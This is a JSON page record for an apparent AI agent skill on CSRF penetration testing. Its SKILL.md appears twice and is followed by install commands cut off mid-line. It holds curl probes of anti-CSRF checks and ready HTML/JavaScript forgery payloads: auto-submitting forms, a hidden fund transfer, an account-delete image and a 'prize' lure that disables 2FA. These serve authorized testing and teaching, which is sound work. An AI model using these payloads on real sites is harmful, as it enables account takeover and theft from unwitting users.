[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFQPN8A6X3RSJT3PDXN8PT":3,"skill-same:01M6AFQPN8A6X3RSJT3PDXN8PT":109},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":50,"linkOnly":51,"markdownContent":52,"markdownBody":53,"frontMatter":54,"refName":68,"commitSha":69,"skillDirectory":70,"forksCount":71,"repositoryHtmlUrl":72,"repositoryHomepageUrl":73,"ownerHtmlUrl":74,"ownerBlogUrl":75,"ownerDescription":76,"updatedAt":77,"install":78,"resources":91},"01M6AFQPN8A6X3RSJT3PDXN8PT","performing-csrf-attack-simulation","CSRF 漏洞攻击模拟测试","Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.","在授权的安全评估期间，通过构造利用已认证用户会话的伪造请求，测试 Web 应用程序的跨站请求伪造（CSRF）漏洞。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-csrf-attack-simulation\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C7NMKVVN7CCC4BCVAW8B18","渗透测试与红队行动","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49],"performing csrf attack simulation","web-application-security","session-management","csrf","application-security","applications","t1505","burpsuite","web-security","t1059","testing","owasp","penetration-testing","pr","sessions","web","vulnerabilities","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: performing-csrf-attack-simulation\ndescription: Testing web applications for Cross-Site Request Forgery vulnerabilities\n  by crafting forged requests that exploit authenticated user sessions during authorized\n  security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- csrf\n- owasp\n- web-security\n- session-management\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Performing CSRF Attack Simulation\n\n## When to Use\n\n- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF\n- When testing the effectiveness of anti-CSRF token implementations\n- For validating SameSite cookie attribute enforcement across different browsers\n- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)\n- During security audits of custom authentication and session management mechanisms\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With CSRF PoC generator functionality\n- **Web server**: Local HTTP server for hosting CSRF PoC pages (Python `http.server`)\n- **Two browsers**: One authenticated as victim, one as attacker\n- **Target application**: Authenticated session with valid test credentials\n- **HTML\u002FJavaScript knowledge**: For crafting custom CSRF payloads\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Identify State-Changing Requests\n\nBrowse the application and identify all POST\u002FPUT\u002FDELETE requests that modify server-side state.\n\n```\n# In Burp Suite, review Proxy > HTTP History\n# Filter for POST\u002FPUT\u002FDELETE methods\n# Focus on actions like:\n# - Password\u002Femail change\n# - Fund\u002Fmoney transfers\n# - Account settings modifications\n# - Adding\u002Fremoving users or permissions\n# - Creating\u002Fdeleting resources\n# - Toggling security features (2FA disable)\n\n# Example state-changing request captured in Burp:\nPOST \u002Fapi\u002Faccount\u002Fchange-email HTTP\u002F1.1\nHost: target.example.com\nCookie: session=abc123def456\nContent-Type: application\u002Fx-www-form-urlencoded\n\nemail=newemail@example.com\n\n# Check for anti-CSRF protections:\n# - CSRF tokens in form fields or headers\n# - Custom headers (X-CSRF-Token, X-Requested-With)\n# - SameSite cookie attribute\n# - Referer\u002FOrigin header validation\n```\n\n### Step 2: Analyze Anti-CSRF Token Implementation\n\nTest the strength and enforcement of any CSRF protections present.\n\n```bash\n# Check if CSRF token is present\ncurl -s -b \"session=abc123\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" | \\\n  grep -i \"csrf\\|token\\|_token\"\n\n# Test 1: Remove the CSRF token entirely\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 2: Send empty CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 3: Use a random\u002Finvalid CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=AAAAAAAAAA\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 4: Reuse an expired\u002Fold CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=previously_captured_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 5: Use User B's CSRF token with User A's session\ncurl -s -X POST \\\n  -b \"session=user_a_session\" \\\n  -d \"email=test@evil.com&csrf_token=user_b_csrf_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 3: Check SameSite Cookie and Header Protections\n\nVerify browser-level and header-based CSRF defenses.\n\n```bash\n# Check SameSite attribute on session cookies\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Flogin\" | grep -i \"set-cookie\"\n# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None\n\n# SameSite=Lax allows CSRF on top-level GET navigations\n# SameSite=None; Secure allows cross-site requests\n# No SameSite attribute: browser defaults to Lax (modern browsers)\n\n# Check for Origin\u002FReferer header validation\n# Send request with no Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: \" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with evil Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: https:\u002F\u002Fevil.example.com\u002Fattack\" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with spoofed Origin\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 4: Generate CSRF Proof-of-Concept with Burp Suite\n\nUse Burp's built-in CSRF PoC generator for rapid testing.\n\n```\n# In Burp Suite:\n# 1. Right-click the target request in Proxy > HTTP History\n# 2. Select \"Engagement tools\" > \"Generate CSRF PoC\"\n# 3. Click \"Test in browser\" to validate the PoC\n\n# Burp generates HTML like:\n```\n\n```html\n\u003C!-- Auto-submitting CSRF PoC for form-encoded POST -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ch1>Loading...\u003C\u002Fh1>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\" id=\"csrf-form\">\n      \u003Cinput type=\"hidden\" name=\"email\" value=\"attacker@evil.com\" \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Craft Advanced CSRF Payloads\n\nFor JSON APIs and other non-standard content types, use advanced techniques.\n\n```html\n\u003C!-- CSRF for JSON API using form with enctype -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\"\n          enctype=\"text\u002Fplain\"\n          id=\"csrf-form\">\n      \u003Cinput type=\"hidden\"\n             name='{\"email\":\"attacker@evil.com\",\"ignore\":\"'\n             value='\"}' \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- CSRF via XMLHttpRequest (requires permissive CORS) -->\n\u003Cscript>\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", true);\nxhr.setRequestHeader(\"Content-Type\", \"application\u002Fjson\");\nxhr.withCredentials = true;\nxhr.send(JSON.stringify({\"email\": \"attacker@evil.com\"}));\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via fetch API -->\n\u003Cscript>\nfetch(\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: {\"Content-Type\": \"application\u002Fx-www-form-urlencoded\"},\n  body: \"email=attacker@evil.com\"\n});\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via image tag (GET-based state change) -->\n\u003Cimg src=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fdelete?confirm=true\"\n     style=\"display:none\" \u002F>\n\n\u003C!-- Multi-step CSRF with iframe -->\n\u003Ciframe style=\"display:none\" name=\"csrf-frame\">\u003C\u002Fiframe>\n\u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ftransfer\"\n      method=\"POST\" target=\"csrf-frame\" id=\"csrf-form\">\n  \u003Cinput type=\"hidden\" name=\"to_account\" value=\"attacker-account\" \u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"1000\" \u002F>\n\u003C\u002Fform>\n\u003Cscript>document.getElementById('csrf-form').submit();\u003C\u002Fscript>\n```\n\n### Step 6: Test and Validate the CSRF Attack\n\nHost the PoC and confirm successful exploitation.\n\n```bash\n# Start a local web server to host the CSRF PoC\ncd \u002Ftmp\u002Fcsrf-poc\npython3 -m http.server 8888\n\n# PoC file structure:\n# \u002Ftmp\u002Fcsrf-poc\u002F\n#   index.html          \u003C- CSRF PoC page\n#   change-email.html   \u003C- Email change CSRF\n#   transfer.html       \u003C- Fund transfer CSRF\n\n# Testing steps:\n# 1. Log in to target as victim user in Browser A\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fchange-email.html in Browser A\n# 3. Check if the email was changed without victim's consent\n# 4. Verify the state change in the application\n\n# For SameSite=Lax bypass via top-level navigation:\n# Use GET-based CSRF with window.open or anchor tag\n```\n\n```html\n\u003C!-- SameSite=Lax bypass using top-level navigation -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ca href=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsettings?action=disable_2fa\"\n       id=\"csrf-link\">Click here for a prize!\u003C\u002Fa>\n    \u003Cscript>\n      \u002F\u002F Automatic click via social engineering context\n      \u002F\u002F SameSite=Lax allows cookies on top-level GET navigations\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CSRF** | Attack that tricks an authenticated user's browser into making unintended requests to a vulnerable site |\n| **Anti-CSRF Token** | A unique, unpredictable value tied to the user's session that must be included in state-changing requests |\n| **SameSite Cookie** | Browser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests |\n| **Origin Header** | HTTP header indicating the origin of the request, used for CSRF validation |\n| **Referer Header** | HTTP header containing the URL of the referring page, sometimes used for CSRF checks |\n| **Double Submit Cookie** | CSRF defense that compares a cookie value with a request parameter value |\n| **Synchronizer Token Pattern** | Server generates and validates a unique token per session or per request |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | CSRF PoC generator and request analysis |\n| **OWASP ZAP** | Anti-CSRF token detection and CSRF testing |\n| **XSRFProbe** | Automated CSRF vulnerability scanner (`pip install xsrfprobe`) |\n| **Python http.server** | Local web server for hosting CSRF PoC pages |\n| **Browser DevTools** | Inspecting cookies, SameSite attributes, and network requests |\n| **CSRFTester (OWASP)** | Legacy tool for crafting and testing CSRF attacks |\n\n## Common Scenarios\n\n### Scenario 1: Email Change Without CSRF Token\nThe email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.\n\n### Scenario 2: Fund Transfer with Token Bypass\nThe banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the `csrf_token` field from the transfer form allows cross-site fund transfer.\n\n### Scenario 3: JSON API CSRF via Content-Type Manipulation\nA JSON API endpoint does not require a custom header. Using `enctype=\"text\u002Fplain\"` in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.\n\n### Scenario 4: SameSite=Lax Bypass on GET State Change\nA settings page changes state via GET request (`\u002Fsettings?disable_2fa=true`). Since `SameSite=Lax` allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.\n\n## Output Format\n\n```\n## CSRF Vulnerability Finding\n\n**Vulnerability**: Cross-Site Request Forgery (Email Change)\n**Severity**: High (CVSS 8.0)\n**Location**: POST \u002Fapi\u002Faccount\u002Fchange-email\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Authenticate as victim at https:\u002F\u002Ftarget.example.com\n2. Host the following HTML on an attacker-controlled server\n3. Trick victim into visiting the attacker page while authenticated\n4. The victim's email is changed to attacker@evil.com without consent\n\n### Anti-CSRF Defenses Tested\n| Defense | Present | Enforced |\n|---------|---------|----------|\n| CSRF Token | No | N\u002FA |\n| SameSite Cookie | Lax | Partial (GET bypass) |\n| Origin Validation | No | N\u002FA |\n| Referer Validation | No | N\u002FA |\n| Custom Header Required | No | N\u002FA |\n\n### Impact\n- Account takeover via email change + password reset chain\n- Unauthorized fund transfers\n- Settings modification (2FA disable, notification change)\n\n### Recommendation\n1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests\n2. Set SameSite=Strict on session cookies where possible\n3. Validate Origin and Referer headers as defense-in-depth\n4. Require re-authentication for sensitive operations (password change, fund transfer)\n5. Use custom request headers (X-Requested-With) for AJAX endpoints\n```\n","# Performing CSRF Attack Simulation\n\n## When to Use\n\n- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF\n- When testing the effectiveness of anti-CSRF token implementations\n- For validating SameSite cookie attribute enforcement across different browsers\n- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)\n- During security audits of custom authentication and session management mechanisms\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With CSRF PoC generator functionality\n- **Web server**: Local HTTP server for hosting CSRF PoC pages (Python `http.server`)\n- **Two browsers**: One authenticated as victim, one as attacker\n- **Target application**: Authenticated session with valid test credentials\n- **HTML\u002FJavaScript knowledge**: For crafting custom CSRF payloads\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Identify State-Changing Requests\n\nBrowse the application and identify all POST\u002FPUT\u002FDELETE requests that modify server-side state.\n\n```\n# In Burp Suite, review Proxy > HTTP History\n# Filter for POST\u002FPUT\u002FDELETE methods\n# Focus on actions like:\n# - Password\u002Femail change\n# - Fund\u002Fmoney transfers\n# - Account settings modifications\n# - Adding\u002Fremoving users or permissions\n# - Creating\u002Fdeleting resources\n# - Toggling security features (2FA disable)\n\n# Example state-changing request captured in Burp:\nPOST \u002Fapi\u002Faccount\u002Fchange-email HTTP\u002F1.1\nHost: target.example.com\nCookie: session=abc123def456\nContent-Type: application\u002Fx-www-form-urlencoded\n\nemail=newemail@example.com\n\n# Check for anti-CSRF protections:\n# - CSRF tokens in form fields or headers\n# - Custom headers (X-CSRF-Token, X-Requested-With)\n# - SameSite cookie attribute\n# - Referer\u002FOrigin header validation\n```\n\n### Step 2: Analyze Anti-CSRF Token Implementation\n\nTest the strength and enforcement of any CSRF protections present.\n\n```bash\n# Check if CSRF token is present\ncurl -s -b \"session=abc123\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" | \\\n  grep -i \"csrf\\|token\\|_token\"\n\n# Test 1: Remove the CSRF token entirely\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 2: Send empty CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 3: Use a random\u002Finvalid CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=AAAAAAAAAA\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 4: Reuse an expired\u002Fold CSRF token\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -d \"email=test@evil.com&csrf_token=previously_captured_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Test 5: Use User B's CSRF token with User A's session\ncurl -s -X POST \\\n  -b \"session=user_a_session\" \\\n  -d \"email=test@evil.com&csrf_token=user_b_csrf_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 3: Check SameSite Cookie and Header Protections\n\nVerify browser-level and header-based CSRF defenses.\n\n```bash\n# Check SameSite attribute on session cookies\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Flogin\" | grep -i \"set-cookie\"\n# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None\n\n# SameSite=Lax allows CSRF on top-level GET navigations\n# SameSite=None; Secure allows cross-site requests\n# No SameSite attribute: browser defaults to Lax (modern browsers)\n\n# Check for Origin\u002FReferer header validation\n# Send request with no Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: \" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with evil Referer\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Referer: https:\u002F\u002Fevil.example.com\u002Fattack\" \\\n  -d \"email=test@evil.com&csrf_token=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n\n# Send request with spoofed Origin\ncurl -s -X POST \\\n  -b \"session=abc123\" \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -d \"email=test@evil.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\" \\\n  -w \"%{http_code}\"\n```\n\n### Step 4: Generate CSRF Proof-of-Concept with Burp Suite\n\nUse Burp's built-in CSRF PoC generator for rapid testing.\n\n```\n# In Burp Suite:\n# 1. Right-click the target request in Proxy > HTTP History\n# 2. Select \"Engagement tools\" > \"Generate CSRF PoC\"\n# 3. Click \"Test in browser\" to validate the PoC\n\n# Burp generates HTML like:\n```\n\n```html\n\u003C!-- Auto-submitting CSRF PoC for form-encoded POST -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ch1>Loading...\u003C\u002Fh1>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\" id=\"csrf-form\">\n      \u003Cinput type=\"hidden\" name=\"email\" value=\"attacker@evil.com\" \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Craft Advanced CSRF Payloads\n\nFor JSON APIs and other non-standard content types, use advanced techniques.\n\n```html\n\u003C!-- CSRF for JSON API using form with enctype -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\"\n          method=\"POST\"\n          enctype=\"text\u002Fplain\"\n          id=\"csrf-form\">\n      \u003Cinput type=\"hidden\"\n             name='{\"email\":\"attacker@evil.com\",\"ignore\":\"'\n             value='\"}' \u002F>\n    \u003C\u002Fform>\n    \u003Cscript>\n      document.getElementById('csrf-form').submit();\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- CSRF via XMLHttpRequest (requires permissive CORS) -->\n\u003Cscript>\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", true);\nxhr.setRequestHeader(\"Content-Type\", \"application\u002Fjson\");\nxhr.withCredentials = true;\nxhr.send(JSON.stringify({\"email\": \"attacker@evil.com\"}));\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via fetch API -->\n\u003Cscript>\nfetch(\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fchange-email\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: {\"Content-Type\": \"application\u002Fx-www-form-urlencoded\"},\n  body: \"email=attacker@evil.com\"\n});\n\u003C\u002Fscript>\n\n\u003C!-- CSRF via image tag (GET-based state change) -->\n\u003Cimg src=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Faccount\u002Fdelete?confirm=true\"\n     style=\"display:none\" \u002F>\n\n\u003C!-- Multi-step CSRF with iframe -->\n\u003Ciframe style=\"display:none\" name=\"csrf-frame\">\u003C\u002Fiframe>\n\u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ftransfer\"\n      method=\"POST\" target=\"csrf-frame\" id=\"csrf-form\">\n  \u003Cinput type=\"hidden\" name=\"to_account\" value=\"attacker-account\" \u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"1000\" \u002F>\n\u003C\u002Fform>\n\u003Cscript>document.getElementById('csrf-form').submit();\u003C\u002Fscript>\n```\n\n### Step 6: Test and Validate the CSRF Attack\n\nHost the PoC and confirm successful exploitation.\n\n```bash\n# Start a local web server to host the CSRF PoC\ncd \u002Ftmp\u002Fcsrf-poc\npython3 -m http.server 8888\n\n# PoC file structure:\n# \u002Ftmp\u002Fcsrf-poc\u002F\n#   index.html          \u003C- CSRF PoC page\n#   change-email.html   \u003C- Email change CSRF\n#   transfer.html       \u003C- Fund transfer CSRF\n\n# Testing steps:\n# 1. Log in to target as victim user in Browser A\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fchange-email.html in Browser A\n# 3. Check if the email was changed without victim's consent\n# 4. Verify the state change in the application\n\n# For SameSite=Lax bypass via top-level navigation:\n# Use GET-based CSRF with window.open or anchor tag\n```\n\n```html\n\u003C!-- SameSite=Lax bypass using top-level navigation -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ca href=\"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsettings?action=disable_2fa\"\n       id=\"csrf-link\">Click here for a prize!\u003C\u002Fa>\n    \u003Cscript>\n      \u002F\u002F Automatic click via social engineering context\n      \u002F\u002F SameSite=Lax allows cookies on top-level GET navigations\n    \u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CSRF** | Attack that tricks an authenticated user's browser into making unintended requests to a vulnerable site |\n| **Anti-CSRF Token** | A unique, unpredictable value tied to the user's session that must be included in state-changing requests |\n| **SameSite Cookie** | Browser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests |\n| **Origin Header** | HTTP header indicating the origin of the request, used for CSRF validation |\n| **Referer Header** | HTTP header containing the URL of the referring page, sometimes used for CSRF checks |\n| **Double Submit Cookie** | CSRF defense that compares a cookie value with a request parameter value |\n| **Synchronizer Token Pattern** | Server generates and validates a unique token per session or per request |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | CSRF PoC generator and request analysis |\n| **OWASP ZAP** | Anti-CSRF token detection and CSRF testing |\n| **XSRFProbe** | Automated CSRF vulnerability scanner (`pip install xsrfprobe`) |\n| **Python http.server** | Local web server for hosting CSRF PoC pages |\n| **Browser DevTools** | Inspecting cookies, SameSite attributes, and network requests |\n| **CSRFTester (OWASP)** | Legacy tool for crafting and testing CSRF attacks |\n\n## Common Scenarios\n\n### Scenario 1: Email Change Without CSRF Token\nThe email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.\n\n### Scenario 2: Fund Transfer with Token Bypass\nThe banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the `csrf_token` field from the transfer form allows cross-site fund transfer.\n\n### Scenario 3: JSON API CSRF via Content-Type Manipulation\nA JSON API endpoint does not require a custom header. Using `enctype=\"text\u002Fplain\"` in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.\n\n### Scenario 4: SameSite=Lax Bypass on GET State Change\nA settings page changes state via GET request (`\u002Fsettings?disable_2fa=true`). Since `SameSite=Lax` allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.\n\n## Output Format\n\n```\n## CSRF Vulnerability Finding\n\n**Vulnerability**: Cross-Site Request Forgery (Email Change)\n**Severity**: High (CVSS 8.0)\n**Location**: POST \u002Fapi\u002Faccount\u002Fchange-email\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Authenticate as victim at https:\u002F\u002Ftarget.example.com\n2. Host the following HTML on an attacker-controlled server\n3. Trick victim into visiting the attacker page while authenticated\n4. The victim's email is changed to attacker@evil.com without consent\n\n### Anti-CSRF Defenses Tested\n| Defense | Present | Enforced |\n|---------|---------|----------|\n| CSRF Token | No | N\u002FA |\n| SameSite Cookie | Lax | Partial (GET bypass) |\n| Origin Validation | No | N\u002FA |\n| Referer Validation | No | N\u002FA |\n| Custom Header Required | No | N\u002FA |\n\n### Impact\n- Account takeover via email change + password reset chain\n- Unauthorized fund transfers\n- Settings modification (2FA disable, notification change)\n\n### Recommendation\n1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests\n2. Set SameSite=Strict on session cookies where possible\n3. Validate Origin and Referer headers as defense-in-depth\n4. Require re-authentication for sensitive operations (password change, fund transfer)\n5. Use custom request headers (X-Requested-With) for AJAX endpoints\n```\n",{"name":5,"tags":55,"author":56,"domain":48,"license":16,"version":57,"nist_csf":58,"subdomain":32,"description":7,"mitre_attack":63},[43,34,42,39,33,38],"mahipal","1.0",[59,60,61,62],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[64,65,66,67],"T1190","T1059.007","T1505.003","T1083","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-csrf-attack-simulation",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":79,"prompt":89,"zipAvailable":90},[80,83,86],{"tool":81,"command":82},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-csrf-attack-simulation",{"tool":84,"command":85},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-csrf-attack-simulation",{"tool":87,"command":88},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill 